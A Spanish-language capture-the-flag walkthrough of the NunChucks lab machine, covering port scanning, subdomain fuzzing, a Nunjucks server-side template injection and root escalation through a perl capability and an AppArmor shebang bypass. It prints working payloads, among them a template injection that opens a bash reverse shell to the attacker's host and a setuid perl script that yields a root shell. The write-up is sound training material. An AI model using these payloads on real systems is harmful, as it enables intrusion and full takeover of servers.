Entrada

NunChucks

NunChucks

Skills

  • AppArmor Profile Bypass (Privilege Escalation)
  • NodeJS SSTI (Server Side Template Injection)

Certificaciones

  • eJPT
  • eWPT

Descripción

NunChucks es una máquina easy linux donde estaremos vulnerando la máquina a través de una server side template injection encontrada en su página web, obtendremos acceso a la máquina víctima explotando el ssti. Escalaremos privilegios aprovechando un bug de AppArmor


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
# ping 10.129.95.252
PING 10.129.95.252 (10.129.95.252) 56(84) bytes of data.
64 bytes from 10.129.95.252: icmp_seq=1 ttl=63 time=58.7 ms
^C
--- 10.129.95.252 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 58.658/58.658/58.658/0.000 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.252 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:10 CEST
Initiating SYN Stealth Scan at 13:10
Scanning 10.129.95.252 [65535 ports]
Discovered open port 80/tcp on 10.129.95.252
Discovered open port 443/tcp on 10.129.95.252
Discovered open port 22/tcp on 10.129.95.252
Completed SYN Stealth Scan at 13:10, 13.68s elapsed (65535 total ports)
Nmap scan report for 10.129.95.252
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# nmap -sCV -p22,80,443 10.129.95.252 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:14 CEST
Nmap scan report for 10.129.95.252
Host is up (0.084s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
|_http-title: Nunchucks - Landing Page
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.69 seconds

Web Enumeration

Nos dirigimos a la página web y se visualiza lo siguiente:

La web posee virtual hosting por lo tanto debemos añadir el dominio nunchucks.htb al /etc/hosts

1
2
3
4
5
6
7
8
9
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.95.252   nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Al acceder a la web vemos lo siguiente

Podemos registrarnos en https://nunchucks.htb/signup

Al intentar registrarnos no nos deja

Para ver como se tramita la petición, abrimos el burpsuite y no damos cuenta que se está enviando un json a la dirección de la api

Esto también se puede hacer desde el navegador, desde la pestaña network

Podemos iniciar sesión en https://nunchucks.htb/login

Al probar iniciar sesión nos dice que está actualmente deshabilitado

Al iniciar intentar iniciar sesión vemos otro endpoint de la api

Hemos fuzzeado el dominio nunchucks.htb en busca de nuevas rutas y no hemos encontrado nada interesante, por lo tanto como estamos ante un virtual hosting, he fuzzeado en busca de subdominios y he encontrado el subdominio store.nunchucks.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wfuzz -c -t200 --hh 30587 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.nunchucks.htb' https://nunchucks.htb 
 /home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://nunchucks.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000081:   200        101 L    259 W      4028 Ch     "store"    

Añadimos store.nunchucks.htb al /etc/hosts

1
2
3
4
5
6
7
8
9
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.95.252   store.nunchucks.htb nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Cuando accedemos a store.nunchucks.htb vemos lo siguiente

Al introducir un correo en y darle a notify me, nos aparece lo siguiente

Al verse reflejado nuestro input en una parte de la web y vemos que por detrás está corriendo express y node.js, podríamos probar a ver si existe un ssti

Efectivamente nos encontramos antes un ssti

Intrusión

Al estar corriendo node.js, he buscado en hacktricks y he dado con el template al que nos podríamos estar enfrentando, este template se llama nunjucks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#nunjucks. Vamos a capturar la petición mediante burpsuite para poder explotar mejor esta vulnerabilidad

He probado los payloads de la página de hacktricks sin embargo, no funcionan correctamente debido a que le estamos mandando el payload en un json y las comillas dan conflictos, por lo tanto he usado PentestGPT para obtener un payload alternativo para poder leer el /etc/passwd

1
{{ range.constructor('return global.process.mainModule.require(\"fs\").readFileSync(\"/etc/passwd\", \"utf8\")')() }}

Ahora vamos a establecernos unas reverse shell a nuestro equipo, le he pedido a PentestGPT que me adapte el payload para establecerme una reverse shell que se encuentra en la página de hacktricks

1
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/10.10.16.15/4444 0>&1\\\"')\")()}}

Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY

1
2
3
4
5
6
# nc -nlvp 4444                                 
listening on [any] 4444 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.95.252] 36954
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ 

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya tenemos un consola completamente interactiva

1
2
david@nunchucks:/var/www/store.nunchucks$ whoami
david

Privilege Escalation

Al listar capabilities nos damos cuenta que con perl podríamos escalar privilegios

1
2
3
4
5
6
david@nunchucks:/tmp/scripts$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Debido a que perl tiene esa capabilities podemos ejecutar comandos como usuario root, sin embargo, parece que algunos binarios no los podemos ejecutar

1
2
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

Esto se parece bastante a SELinux, no encontramos nada en el sistema que diga que está instalado. Buscando alternativas a SELinux he encontrado AppArmor, si buscamos en el sistema nos daremos cuenta de que se encuentra instalado

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
find / -type f -name '*apparmor*' 2>/dev/null
/usr/lib/apparmor/rc.apparmor.functions
/usr/lib/apparmor/apparmor.systemd
/usr/lib/systemd/system/apparmor.service
/usr/lib/python3/dist-packages/apparmor-2.13.3.egg-info
/usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/apparmor.cpython-38.pyc
/usr/lib/python3/dist-packages/sos/report/plugins/apparmor.py
/usr/lib/x86_64-linux-gnu/libapparmor.so.1.6.1
/usr/sbin/apparmor_parser
/usr/share/man/man5/apparmor.d.5.gz
/usr/share/man/man5/apparmor.vim.5.gz
/usr/share/man/man7/apparmor.7.gz
/usr/share/man/man8/apparmor_parser.8.gz
/usr/share/man/man8/apparmor_status.8.gz
/usr/share/vim/addons/syntax/apparmor.vim
/usr/share/vim/registry/vim-apparmor.yaml
/usr/share/apport/package-hooks/source_apparmor.py
/usr/share/lintian/overrides/apparmor-notify
/usr/share/lintian/overrides/apparmor
/usr/share/lintian/overrides/python3-apparmor
/usr/share/lintian/overrides/libapparmor-perl
/usr/share/lintian/overrides/apparmor-easyprof
/usr/share/lintian/overrides/python3-libapparmor
/usr/share/lintian/overrides/libapparmor1
/usr/share/lintian/overrides/apparmor-utils
/usr/src/linux-headers-5.4.0-81-generic/include/config/security/apparmor.h
/usr/src/linux-headers-5.4.0-81-generic/include/config/default/security/apparmor.h

Nos metemos en el directorio donde los están perfiles de AppArmor y visualizamos el perfil de perl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
david@nunchucks:/etc$ cd /etc/apparmor.d
david@nunchucks:/etc/apparmor.d$ ls
abstractions  force-complain  lsb_release      sbin.dhclient  usr.bin.man   usr.sbin.ippusbxd  usr.sbin.rsyslogd
disable       local           nvidia_modprobe  tunables       usr.bin.perl  usr.sbin.mysqld    usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

En Hacktricks encontramos un artículo sobre como bypassear la seguridad de AppArmor mediante el shebang https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/apparmor#apparmor-shebang-bypass

1
2
3
4
5
6
7
8
9
david@nunchucks:/tmp$ echo '#!/usr/bin/perl
> use POSIX qw(strftime);
> use POSIX qw(setuid);
> POSIX::setuid(0);
> exec "/bin/sh"' > /tmp/test.pl
david@nunchucks:/tmp$ chmod +x /tmp/test.pl
david@nunchucks:/tmp$ /tmp/test.pl
# whoami
root

En /opt nos encontramos dos archivos interesantes, el archivo backup.pl también se aprovecha de este bug para ejecutarse como usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# ls
backup.pl  web_backups
# cat backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
Esta entrada está licenciada bajo CC BY 4.0 por el autor.